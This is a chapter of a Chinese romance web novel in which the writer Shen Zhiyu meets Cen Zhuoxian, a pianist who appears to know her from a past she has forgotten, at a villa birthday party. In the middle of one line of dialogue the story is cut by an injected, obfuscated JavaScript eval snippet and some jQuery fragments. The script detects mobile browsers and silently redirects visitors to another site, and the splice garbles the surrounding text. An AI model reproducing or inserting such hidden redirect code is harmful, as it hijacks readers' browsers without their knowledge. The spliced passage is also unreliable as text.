周六傍晚时分,半山别墅灯光辉煌,与闹市的喧嚣隔离开,宴请的宾客接踵而至,女性靓妆艳服,男性打理发型身着西装,个个无以比拟的是与生俱来的高贵。
沈栀钰侧盘发扎花头饰,身穿一袭紫罗兰色抹胸丝绸鱼尾裙,微微折射着光,呈现出渐变之感,修饰腰身却不过度繁琐,搭着一件同色系披肩,晃眼看像走进了油画世界,温婉端庄。
林听意和沈栀钰刚走到别墅大院,祁殊禾勾唇,踩着双高跟鞋朝他们两人走来。
林听意扭头望向沈栀钰,含着笑介绍:“小栀,她就是我姐,她跟着妈妈姓,叫祁殊禾。”
话音一转,林听意对祁殊禾说:“姐,她就是我的朋友,沈栀钰。”
不同于沈栀钰的含蓄婉约,祁殊禾浑身透着明艳灵动。
她作为新生代演员,凭借精湛的演技出圈,又因明艳动人的外貌深受观众喜爱。
沈栀钰莞尔一笑,伸出手颔首道:“殊禾姐,你好。”
祁殊禾轻轻握住她的手,开口道:“你好,你就是编剧‘常春藤’吧,我读过你转型前出版的作品,我很喜欢,今天有幸见到本人。”
沈栀钰笑意不减:“殊禾姐,能见到你才是我的荣幸,既然是听意的姐姐,只管把我当妹妹相处就行,希望有机会能和殊禾姐合作。”
祁殊禾回她:“今天是听意她哥祁漾礼的生日,早就听说你不是很喜欢热闹,怪我太想见一眼喜欢的作家本人,非让我妹带你来,吃过晚饭后你要是不想参加派对,可以先去三楼房间休息,到时候我把钥匙给听意,让她带你过去,休息好后就送你回家。”
沈栀钰点头:“谢谢殊禾姐。”
随后,林听意挽着她进了餐厅区,晚宴由享誉国际的中厨和西厨团队共同负责,沈栀钰倒没什么胃口,她自顾自沉思起来。
怎么突如其来的,她的心狂躁地跳动起来,这难以言喻的感觉让她很不舒服。
心思不在宴席上的不止沈栀钰一个,在离她较远处的席位上,一道灼热的视线有意无意瞥过来,视线集中在她白皙的脖颈处,视线的主人正襟危坐,举手投足间难掩矜贵气息。
沈栀钰饭没怎么吃,杯中红酒也只慢悠悠抿了一小口,平时她在家没灵感的时候就喜欢捣鼓酒喝,酒量倒也不差,她握住酒杯在眼前转了一圈,毕竟自己是开着车来的,酒还是不能喝得太过火。
晚宴结束,一溜烟的功夫,夜的狂欢真正开始,别墅前院有一座偌大宽阔的泳池,池壁衬得水碧蓝碧蓝,像是倒映的晴空,一个价值百万的巨型蛋糕被推至户外,池边几个长条桌摆放着罗曼尼康帝和勒桦酒庄等品牌的酒,另一个圆桌摆放的则是香槟塔。
金箔气氛礼炮和彩带礼花奏响了派对的乐章,彩灯四面八方投射,绚丽的烟花秀经久不息,舞池里的人们伴随着动感的音乐翩翩起舞,另有部分人换下了正装,纷纷涌进泳池,浓烈的酒香充斥在空气中,气氛躁动起来。
沈栀钰难以相信方才在宴席上正经正色的各位宾客竟然也有如此热情的一面,越是嘈杂热闹的场面她越容易犯困,于是她坐到无人问津一隅的沙发上静静观赏着眼前幕幕景象,对她来说每一帧都是素材。
林听意蹑手蹑脚走到她身后,猛地拍了下她的肩,随后绕到沙发上坐在她身边。
林听意笑说:“没吓到你啊。”
沈栀钰回她:“你这伎俩都用了多久了,我已经免疫了。”
林听意盯着她白里透红的脸,问:“我从姐那儿把房间钥匙拿来了,你要不要去房间休息一下?”
沈栀钰认真思量了一会儿,有所顾虑:“我这样擅自立场可以吗?”
林听意望向她,大大方方说:“这有什么的,我哥可没这么小心眼。”
林听意起身,顺势将沈栀钰拉起来,带着她往三楼去,她随口一提:“小栀,我今天才知道这栋别墅是我哥才从原房主那儿买来不到一个月临时拿来办生日,我就说嘛,以我哥的性格,怎么舍得把他平时住的宝贝别墅拿出来这么糟蹋。话说,这套别墅地段和装修挺不错的,原主人竟然以对折价出售,我怎么遇不到这么好的事,我哥当时还冒昧地问人家说这栋别墅克了多少人啊才敢这么卖。”
沈栀钰环顾别墅内部,装修很有讲究,不难看出原主人不是个附庸风雅的人,而是真真切切有文化修养,受过艺术熏陶的人。
沈栀钰说:“说明你哥也很注重私人空间,而且,原主人可能有什么目的,比如急需这一笔钱。”
林听意挑眉,语调闲散:“我哥因为这栋别墅结识了原主人,两人生意上也有些合作,这次生日我哥还把他也邀请来了。”
话音刚落,林听意止步,用钥匙打开卧室门,她问:“就是这间房,小栀你先把钥匙拿着,我陪你待一会儿再下去。”
沈栀钰接过钥匙,轻声说:“没关系,我自己就行,用不着这么照顾我。”
林听意勾唇浅笑:“好,你要是休息就记得锁好房门,或者随意逛逛参观一下也行,有问题第一时间告诉我,那我先下去帮忙啦。”
·
房间里很宽敞,不知怎的,先前的睡意全无,方才在门外,沈栀钰瞥到了一间虚掩着门的钢琴房,她霎时间来了兴趣。
沈栀钰贴近房门口时才发现钢琴前坐着人,她疑惑刚才自己明明没有看见人,转身欲走,却被一曲《梦中的婚礼》困住了脚步,倾泻而出的琴音萦绕在她耳畔,弹奏起来很有颗粒感,但不知道是不是钢琴许久没有调试过了,音色听起来有些沉闷、暗淡,仿佛置身于一场旧电影中。
此曲一停,沈栀钰深感意犹未尽,紧接着琴音再次传来,这首曲子她从未听过,她揣测是弹奏者自作曲目也不足为奇。
旋律如梦似幻,教人分不清是真实还是虚幻,好像回到了潮湿的过去。
她情不自禁沿着门的罅隙朝里面望过去,不知为何对于这一幕景象她有种似曾相识的感触……
琴音彻底停止,沈栀钰回过了神,提步往回走,刚迈步,就被一道清醇沉澈的声音喊住,那人慢条斯理说:“好久不见,可不可以和我说说话。”
说不清道不明的感觉裹挟住她,她的心泛痛,没有征兆的悲伤扼住她的喉咙,强烈的窒息感逼得她挤出几滴泪。
沈栀钰下意识推开门,往里面走去,弹奏者不知何时走到了她跟前,见到他清晰的模样时一滴滚烫的泪沿着眼角流下。
好在那种感觉转瞬即逝,她渐渐恢复清醒,他身上的味道和上次她在超市里撞到的那个人一模一样,一股淡淡的木质香弥漫整间房。
沈栀钰惊愕,缓缓道:“那天的人也是你?”
男人没有回答她,而是小心翼翼地问:“怎么哭了?”因为不想见到我吗?
沈栀钰胡诌:“异物吹进眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543275|171084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛里了,不好意思。”
他拿出纸巾手缓缓落在她的眼角,他的视线也慢慢移动,停在了眼角,忽地他的手僵在空中,再没了下一步的动作。
旋即,他的目光向下移动停在了她垂落的手,他不敢触碰她的手,只是攥着纸巾的一角递给她,柔声道:“擦下眼泪吧,栀子。”
沈栀钰仔细观摩着他,俄而,她感到一阵天旋地转,眼前这个男人的脸和她前段时间总是幻视的那张少年的脸缓缓重叠在一起。
她不可置信,嘴唇翕动,却说不出话。
他怎么会知道这个小名?
沈栀钰心里暗想。
男人平静地说:“栀子,我是岑濯羡啊。”
蓦然,一道少年声音不合时宜传入她的耳朵:“栀子,我是阿羡啊。”
两道声音交织纠缠。
从前她时常矛盾,有时坚定截铁地向前走逃避过去,有时又想拼凑一个完整的自己,而不是抛弃过去的自己。
直到今天,逃无可逃,退无可退,沈栀钰目光凝聚,眼底闪过一丝疑惑,她问:“我们好像……认识?”
沈栀钰这么问,岑濯羡还能说什么呢,他扯起嘴角,仍是温声:“忘记我了也没关系,今天就当是我们认识的第一天好吗?”
怎么会没有关系,他整天魂牵梦萦、朝思暮想的人终于不再是幻影泡沫,而是真实站在他面前的人。
他想,我宁愿你恨我,讨厌我,但你怎么能忘记我,忘记我们的一切呢?
宁愿你扇我巴掌,痛骂我不该纠缠着你,也不应该只是平淡地望着我啊,不该这样的……
沈栀钰见他这么说,她礼貌回道:“不好意思啊,我以前似乎发生过不太好的意外,后来记性有些差,所以我没有我们认识的记忆。但就像你说的,就当是第一次见面,你好,我叫沈栀钰。”
也许从他身上可以挖掘出一些有关过去的回忆,但就算她还有回忆两人也起码六年未见了,毕竟她只有自己上大学后到现在的记忆,现在他们几乎等于陌生人,她不可能冒犯地把他当做回忆机器,让他一一陈述。
或许能慢慢相处,慢慢来。
沈栀钰尝试打开话题:“你学钢琴很多年了吧,弹得很好听。”
岑濯羡白皙纤长的手轻轻搭在琴键上,他垂眸轻声道:“三岁开始接触的,你要听吗,我弹给你听。”
他不知道该怎么办。
好想触碰她,好想念她身上的味道,但这样她会讨厌的吧,我应该要怎样做才能讨她喜欢呢?弹琴呢,她会喜欢吗?
沈栀钰倏忽间想起那天在超市遇到他的事,她问:“那天……你没认出我吗?”
岑濯羡摇摇头,他难为情道:“我不想那么狼狈地和你相认,见你不应该潦草敷衍。”
沈栀钰转移话题,她说:“你是寿星的朋友吧,前院派对开得正欢,要下去看看吗?”
岑濯羡耷拉着眼,微蹙着眉,提及旁人,他漫不经心道:“我谁也不认识,我和祁漾礼只是卖家和买家的关系,不熟。”
除了你,我谁也不想认识。
沈栀钰抬眉,柔声细语:“你就是原房主啊,我看三楼那边有个露台,要去吹吹风吗,房间里闷得有点热。”
岑濯羡嘴角荡起弧度,紧跟着沈栀钰的步伐,目光始终聚焦在她身上。
他迫不及待想要亲手奉上见面礼。